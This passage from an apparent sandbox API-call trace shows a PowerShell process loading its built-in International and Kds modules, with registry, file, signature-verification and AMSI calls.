lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e06c, lpData=0x0, lpcbData=0x843e068*=0x0 | out: lpType=0x843e06c*=0x0, lpData=0x0, lpcbData=0x843e068*=0x0) returned 0x2 [0108.676] RegCloseKey (hKey=0x9f0) returned 0x0 [0108.676] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.676] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dfc8) returned 1 [0108.676] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9f0 [0108.676] GetFileType (hFile=0x9f0) returned 0x1 [0108.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dfc4) returned 1 [0108.676] GetFileType (hFile=0x9f0) returned 0x1 [0108.676] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x0 [0108.676] ReadFile (in: hFile=0x9f0, lpBuffer=0x54a83f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x54a83f8*, lpNumberOfBytesRead=0x843e030*=0x397, lpOverlapped=0x0) returned 1 [0108.676] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x397 [0108.676] ReadFile (in: hFile=0x9f0, lpBuffer=0x54a83f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x54a83f8*, lpNumberOfBytesRead=0x843e030*=0x0, lpOverlapped=0x0) returned 1 [0108.676] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0108.676] GetSystemDirectoryW (in: lpBuffer=0x73c1520, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0108.676] CoTaskMemFree (pv=0x73c1520) [0108.676] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.676] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0108.676] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0108.677] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.677] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dfa4 | out: phkResult=0x843dfa4*=0x858) returned 0x0 [0108.677] RegQueryValueExW (in: hKey=0x858, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843dfc0, lpData=0x0, lpcbData=0x843dfbc*=0x0 | out: lpType=0x843dfc0*=0x0, lpData=0x0, lpcbData=0x843dfbc*=0x0) returned 0x2 [0108.677] RegCloseKey (hKey=0x858) returned 0x0 [0108.678] CloseHandle (hObject=0x9f0) returned 1 [0108.679] CoCreateGuid (in: pguid=0x843e094 | out: pguid=0x843e094*(Data1=0xe2620317, Data2=0x8c2, Data3=0x427c, Data4=([0]=0xa7, [1]=0xf9, [2]=0x31, [3]=0x28, [4]=0x92, [5]=0x9e, [6]=0x4a, [7]=0x14))) returned 0x0 [0108.679] QueryPerformanceCounter (in: lpPerformanceCount=0x843ddf4 | out: lpPerformanceCount=0x843ddf4*=79081041981) returned 1 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dd28) returned 1 [0108.679] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dda4 | out: lpFileInformation=0x843dda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x754914f5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x754914f5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x754914f5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x397)) returned 1 [0108.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dd24) returned 1 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc9c) returned 1 [0108.679] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dd18 | out: lpFileInformation=0x843dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x754914f5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x754914f5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x754914f5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x397)) returned 1 [0108.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc98) returned 1 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.679] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc70) returned 1 [0108.679] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9f0 [0108.680] GetFileType (hFile=0x9f0) returned 0x1 [0108.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc6c) returned 1 [0108.680] GetFileType (hFile=0x9f0) returned 0x1 [0108.680] WTGetSignatureInfo () returned 0x0 [0108.812] CertDuplicateCertificateContext (pCertContext=0x737c918) returned 0x737c918 [0108.813] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0x9ec) returned 0x0 [0108.813] RegQueryValueExW (in: hKey=0x9ec, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0108.813] RegQueryValueExW (in: hKey=0x9ec, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x54aed88, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0108.813] RegCloseKey (hKey=0x9ec) returned 0x0 [0108.813] CoTaskMemAlloc (cb=0x10) returned 0x7684cc8 [0108.813] CoTaskMemAlloc (cb=0x30) returned 0x740d0f8 [0108.813] WinVerifyTrust () returned 0x0 [0108.814] CoTaskMemFree (pv=0x740d0f8) [0108.814] CoTaskMemFree (pv=0x7684cc8) [0108.814] CertFreeCertificateContext (pCertContext=0x737c918) returned 1 [0108.814] CloseHandle (hObject=0x9f0) returned 1 [0108.814] AmsiOpenSession () returned 0x0 [0108.814] AmsiScanString () returned 0x80070015 [0108.817] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\en-US\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\en-us\\international.psd1")) returned 0xffffffff [0108.818] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\en\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\en\\international.psd1")) returned 0xffffffff [0108.818] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0108.818] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1", lpFilePart=0x0) returned 0x53 [0108.818] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0108.818] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0108.819] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0108.819] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\PSGetModuleInfo.xml", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x54 [0108.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d728) returned 1 [0108.819] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x843d7a4 | out: lpFileInformation=0x843d7a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0108.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d724) returned 1 [0108.820] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\Microsoft.InternationalSettings.Commands", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6a [0108.820] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\Microsoft.InternationalSettings.Commands", nBufferLength=0x6a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\Microsoft.InternationalSettings.Commands", lpFilePart=0x0) returned 0x69 [0108.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d628) returned 1 [0108.820] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\Microsoft.InternationalSettings.Commands" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\microsoft.internationalsettings.commands"), fInfoLevelId=0x0, lpFileInformation=0x843d6a4 | out: lpFileInformation=0x843d6a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0108.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d624) returned 1 [0108.821] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\Microsoft.InternationalSettings.Commands.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\microsoft.internationalsettings.commands.psd1")) returned 0xffffffff [0108.823] CoTaskMemFree (pv=0x744e580) [0108.834] AmsiCloseSession () returned 0x315cd38 [0108.834] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa0c [0108.834] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0108.952] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xc, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0108.953] CoTaskMemFree (pv=0x73bf918) [0108.953] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.953] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0108.953] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0108.953] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.954] CoTaskMemFree (pv=0x73c1520) [0108.954] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0108.954] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0108.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0108.954] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0108.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0108.954] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0108.954] WTGetSignatureInfo () returned 0x0 [0109.022] CertDuplicateCertificateContext (pCertContext=0x737b798) returned 0x737b798 [0109.023] WinVerifyTrust () returned 0x0 [0109.023] CoTaskMemFree (pv=0x740d210) [0109.023] CoTaskMemFree (pv=0x7684c80) [0109.023] CertFreeCertificateContext (pCertContext=0x737b798) returned 1 [0109.023] CloseHandle (hObject=0x8dc) returned 1 [0109.023] AmsiOpenSession () returned 0x0 [0109.023] AmsiScanString () returned 0x80070015 [0109.027] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\en-US\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\en-us\\kds.psd1")) returned 0xffffffff [0109.027] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\en\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\en\\kds.psd1")) returned 0xffffffff [0109.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Microsoft.KeyDistributionService.Cmdlets", nBufferLength=0x105, lpBuffer=0x843b5ac, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Microsoft.KeyDistributionService.Cmdlets", lpFilePart=0x0) returned 0x5f [0109.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Microsoft.KeyDistributionService.Cmdlets", nBufferLength=0x105, lpBuffer=0x843b538, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Microsoft.KeyDistributionService.Cmdlets", lpFilePart=0x0) returned 0x5f [0109.596] CoGetContextToken (in: pToken=0x843b170 | out: pToken=0x843b170) returned 0x0 [0109.596] CoGetContextToken (in: pToken=0x843b750 | out: pToken=0x843b750) returned 0x0 [0109.596] CoGetContextToken (in: pToken=0x843b6b0 | out: pToken=0x843b6b0) returned 0x0 [0109.597] CoGetContextToken (in: pToken=0x843b7d8 | out: pToken=0x843b7d8) returned 0x0 [0109.604] CoGetContextToken (in: pToken=0x843b168 | out: pToken=0x843b168) returned 0x0 [0109.604] CoGetContextToken (in: pToken=0x843b748 | out: pToken=0x843b748) returned 0x0 [0109.604] CoGetContextToken (in: pToken=0x843b6a8 | out: pToken=0x843b6a8) returned 0x0 [0109.606] CoGetContextToken (in: pToken=0x843b160 | out: pToken=0x843b160) returned 0x0 [0109.606] CoGetContextToken (in: pToken=0x843b740 | out: pToken=0x843b740) returned 0x0 [0109.606] CoGetContextToken (in: pToken=0x843b6a0 | out: pToken=0x843b6a0) returned 0x0 [0109.609] CoGetContextToken (in: pToken=0x843b160 | out: pToken=0x843b160) returned 0x0 [0109.609] CoGetContextToken (in: pToken=0x843b740 | out: pToken=0x843b740) returned 0x0 [0109.609] CoGetContextToken (in: pToken=0x843b6a0 | out: pToken=0x843b6a0) returned 0x0 [0110.028] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0110.028] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1", lpFilePart=0x0) returned 0x3f [0110.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dffc) returned 1 [0110.029] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\kds.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56a841c | out: lpFileInformation=0x56a841c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfc97aa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6cfc97aa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6cfc97aa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x209)) returned 1 [0110.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dff8) returned 1 [0110.029] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e388*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e388*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0110.029] SetEvent (hEvent=0xa0c) returned 1 [0110.029] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843e598*=0xa0c, lpdwindex=0x843e3b4 | out: lpdwindex=0x843e3b4) returned 0x0 [0110.030] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0110.030] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1", lpFilePart=0x0) returned 0x3f [0110.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0110.030] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1" 